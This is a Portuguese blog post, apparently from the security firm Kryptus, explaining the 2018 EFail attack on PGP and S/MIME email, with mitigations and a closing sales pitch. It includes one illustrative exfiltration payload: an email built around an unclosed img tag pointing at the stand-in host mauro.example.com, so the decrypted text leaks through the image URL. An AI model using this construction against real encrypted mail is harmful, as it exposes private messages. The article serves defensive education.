EFail: Entenda como essa vulnerabilidade funciona

Por: Conrado Gouvêa

Uma falha de segurança chamada “EFail” foi divulgada em 14 de maio de 2018 por pesquisadores de universidades européias. Essa falha explora principalmente uma vulnerabilidade em aplicações de e-mail cifrado (PGP e S/MIME). Tal falha permite a um atacante ler a mensagem original tendo apenas acesso à mensagem cifrada e a uma vítima executando um software vulnerável.

Neste post explicaremos melhor como essa vulnerabilidade funciona.

O que são o PGP e S/MIME?

Mensagens e arquivos enviados por e-mail não possuem segurança se enviados de modo padrão. Antigamente, todos os e-mails trafegavam em claro, ou seja, sem nenhum mecanismo de segurança para protegê-los. Qualquer atacante era capaz de ler e alterar e-mails em trânsito.

Com o tempo, esquemas como o STARTTLS adicionaram cifração a e-mails, contudo, tal cifração é “ponto-a-ponto”. Essa forma de se proteger dados trafegados não protege as mensagens no servidor de e-mail, ou seja, o administrador do sistema mal intencionado pode ler os e-mails de todas as contas de seu servidor de e-mail.

Considere que Alice envia um e-mail da sua conta do GMail para Beto que possui e-mail no Yahoo:

  • O cliente de e-mail de Alice cifra a mensagem e envia para o servidor do GMail
  • O GMail decifra a mensagem e salva no servidor
  • O GMail recifra a mensagem para o Yahoo e envia para o Yahoo
  • O Yahoo decifra a mensagem e salva no servidor
  • O Yahoo disponibiliza a mensagem para Beto

Claramente existem vários pontos fracos nesse esquema: um funcionário desonesto do GMail ou Yahoo ou um hacker que os tenha invadido são capazes de ler a mensagem em claro.

Por esse motivo é utilizada a cifração fim-a-fim ou “ponta-a-ponta”. Nela, Alice cifra a mensagem diretamente para Beto. Tanto o GMail, Yahoo, ou qualquer outro intermediário é incapaz de decifrar a mensagem.

O S/MIME é um protocolo de e-mail seguro que permite cifração fim-a-fim, bastante utilizado em ambientes corporativos. O PGP é um padrão de arquivos cifrados que também pode ser utilizado em e-mails; a implementação mais conhecida do PGP é o software open-source GPG.

O S/MIME costuma ter suporte nativo em muitos clientes de e-mail, ao passo que o PGP é suportado através de plugins como o Enigmail (para o Thunderbird), GPG4win (Outlook) e GPGTools (Apple Mail).

O ataque

O ataque explora uma combinação entre falhas em clientes de e-mail (ou webmails) e em softwares de cifração de e-mail (padrões PGP ou S/MIME). São inúmeras combinações vulneráveis. Em alguns casos o ataque não exige nenhuma interação com a vítima: basta ela abrir um e-mail. Em outros casos a vítima precisa interagir com o e-mail, clicando nele, por exemplo.

Entre os principais softwares vulneráveis estão:

  • Outlook 2007 e 2010 usando S/MIME ou plugin GPG4win
  • Thunderbird usando S/MIME ou plugin GPG4win
  • Apple Mail usando S/MIME ou plugin GPGTools
  • Mail App do iOS usando S/MIME
  • GMail usando S/MIME

A lista completa está nas páginas finais do artigo descrevendo o ataque.

Como mitigar o ataque?

Pode-se mitigar o ataque desativando o carregamento de imagens e scripts externos no cliente de e-mail e removendo qualquer exceção adicionada previamente. No Thunderbird, tal recurso é desativado por padrão, ao contrário do Apple Mail.

Clientes de e-mail serão atualizados com mitigações adicionais; por esse motivo, é extremamente importante mantê-los atualizados.

Devo parar de usar PGP/GPG ou S/MIME?

Esta e outras falhas anteriores combinadas com a dificuldade de uso destas ferramentas, levam à recomendação de não continuar o uso de PGP/GPG ou S/MIME. Aplicativos de mensagens instantâneas como Signal e WhatsApp são soluções mais fáceis de se utilizar e são mais seguras.

Contudo, PGP/GPG e S/MIME ainda podem ser utilizados se necessário, mas com cautela e devida configuração dos clientes de e-mail. Em particular, recomenda-se o PGP/GPG no lugar do S/MIME, pois este último não fornece nenhum mecanismo para prevenir o ataque EFail, como será descrito adiante.

O que o atacante precisa para realizar o ataque?

O atacante precisa:

Obter um e-mail cifrado. Note que ele pode usar um e-mail cifrado obtido há muito tempo atrás;

Alterar o e-mail cifrado de um forma específica, de acordo com o ataque;

Enviar o e-mail cifrado para um dos destinatários originais da mensagem;

O destinatário deve abrir o e-mail utilizando um cliente vulnerável. Em alguns casos, a vítima também precisa interagir com o e-mail, clicando nele por exemplo.

Como o ataque funciona?

São duas falhas que foram exploradas no ataque.

Extração direta

Na primeira forma, o atacante cria uma nova mensagem que contém no seu meio a mensagem cifrada a ser atacada. Tal maleabilidade é permitida pela maioria dos clientes: a parte cifrada é decifrada e exibida junto com as partes em claro.

A princípio, só isso não cria uma vulnerabilidade, mas alguns clientes juntam as diferentes partes da mensagem ignorando qualquer validação do formato HTML.

Por exemplo, imagine que Alice envia para o Beto a mensagem cifrada: “Minha senha é aH67ko%”, vamos representar essa mensagem cifrada por “TZ9MnPcCmuYAJxkMeyk7”.

O atacante, Mauro, intercepta esse e-mail, monta o seguinte e-mail e o envia para Beto:

Parte 1 (em claro): Prezado Beto, < img src=”http://mauro.example.com/ Parte 2 (cifrada): TZ9MnPcCmuYAJxkMeyk7 Parte 3 (em claro): “> você recebeu minha senha? Alice

O cliente vulnerável do Beto decifra a segunda parte, concatena com as outras duas partes, e exibe o seguinte e-mail no formato HTML:

Prezado Beto, < img src=”http://mauro.example.com/Minha senha é aH67ko%” > você recebeu minha senha? Alice

Alguns clientes, como o Apple Mail, automaticamente carregam a imagem apontada na URL “http://mauro.example.com/Minha senha é aH67ko%”, que contém a senha que Alice enviou. Mauro, que possui controle do servidor “mauro.example.com”, terá acesso à URL que foi acessada e será então capaz de ler a mensagem cifrada de Alice.

Outros clientes, como o Thunderbird, bloqueiam por padrão o carregamento da imagem externa. Contudo, ele exibe uma mensagem para o usuário indicando que o bloqueio aconteceu e permite a ele adicionar uma exceção, ou até mesmo desativar o bloqueio por completo.

Existem outros métodos mais sofisticados de extração de segredo, que não envolvem a tag  do HTML. O atacante pode adicionar uma folha de estilos ao e-mail, de forma a exibir um formulário que, quando clicado, envia toda a parte decifrada da mensagem para o servidor do atacante.

Extração explorando maleabilidade

Idealmente, quando uma mensagem é cifrada, ela deve também ser protegida com um código de autenticação de mensagem (MAC). Desta forma, caso ocorra qualquer alteração na mensagem cifrada em trânsito, isso poderá ser detectado pelo destinatário e ele pode descartar a mensagem sem abri-la.

Porém, quando foram criados, tanto o S/MIME e o PGP/GPG não utilizavam MACs, pois naquela época a sua importância não era tão reconhecida.

Isso permite a um atacante alterar uma mensagem cifrada de forma a inserir novos dados ou alterar dados existentes. Desta forma, ele consegue fazer um ataque parecido com o anterior, inserindo uma tag “” logo no início da mensagem de forma que todo o resto da mensagem seja incluído no endereço da imagem, e essa seja carregada por um cliente vulnerável, permitindo ao atacante ler toda a mensagem original.

O PGP/GPG, eventualmente, adicionou um mecanismo parecido com MACs, chamado MDC (código de detecção de modificações). Contudo, devido à forma como o MDC foi especificado dentro do formato PGP, um atacante pode simplesmente remover o MDC ou alterar o tipo da mensagem indicando que ela não é protegida por um MDC. Neste casos, muitos softwares simplesmente emitem um warning que na maioria das vezes é ignorado por clientes de e-mail.

Que lições foram aprendidas?

O EFail explorou uma série de falhas:

Alguns clientes de e-mail permitem mensagens com partes em claro e partes cifradas, juntando-as de forma perigosa;

Alguns clientes de e-mail carregam imagens ou scripts externos, permitindo um atacante extrair pedaços da mensagem decifrada e enviá-los para um servidor de seu controle de forma as mensagens possam ser lidas;

O formato S/MIME não fornece mecanismos para detectar alterações em mensagens cifradas, permitindo a um atacante alterá-la de forma que, quando decifrada, vaze a mensagem para um atacante, explorando as falhas anteriores em clientes de e-mail;

O formato PGP/GPG fornece tal mecanismo, mas ele pode ser facilmente contornado pelo atacante devido à falhas na especificação e no tratamento desse mecanismo.

Por esse motivo, é necessário:

Melhorar a segurança de clientes de e-mail, ativando formas mais robustas de prevenir o carregamentos de imagens e scripts externos;

Robustecer o PGP/GPG de forma que não seja possível ignorar falhas na checagem na autenticação de mensagens;

Atualizar os formatos S/MIME e PGP/GPG de forma a utilizar códigos de autenticação de mensagem, seguindo as boas práticas da criptografia moderna. Infelizmente é uma tarefa que exigirá tempo e coordenação de vários desenvolvedores de software.

Infelizmente muito dos padrões de criptografia utilizados estão parados no tempo, deixando de acompanhar os avanços da área. O fato de ainda hoje em dia ser muito difícil enviar um simples e-mail cifrado de forma segura merece reflexão.

É difícil determinar qual a melhor opção para resolver o problema: atualizar tais formatos e sofrer com questões de compatibilidade e software legado? Criar um novo formato e ter que lutar para que ele seja adotado? Abandonar o uso de e-mail para comunicação segura e utilizar outros mecanismos como aplicativos de mensagens instantâneas como Signal, WhatsApp ou Telegram?

Como pode se perceber, há ainda muito trabalho a ser feito.

Como a Kryptus pode me ajudar?

Para garantir uma comunicação 100% segura a Kryptus pode oferecer serviços customizados de segurança e criptografia para suas comunicações internas. Temos uma vasta expertise dessas soluções, com projetos elaborados para o Estado.

Além disso, podemos ajudar com soluções da nossa Unidade de Cibersegurança, consultoria na definição da estratégia de criptografia da organização. Temos a capacidade de auxiliar na sua estratégia de criptografia e auxiliar no levantamento e na decisão do que precisa ser protegido e como, uma vez que as informações sensíveis vazadas recentemente são, em sua maioria, não criptografadas.

Compartilhe

trabalhe na kryptus

Nosso time é composto pelos melhores profissionais do mercado: aqueles que se destacam pela expertise, agilidade, pensamento inovador e capacidade técnica, valorizando desafios e acreditando ser possível transformar o mundo em um lugar melhor

SEGURANÇA SÉRIA, BASE DE HARDWARE SÓLIDA. PRODUTOS CRIPTOGRAFIA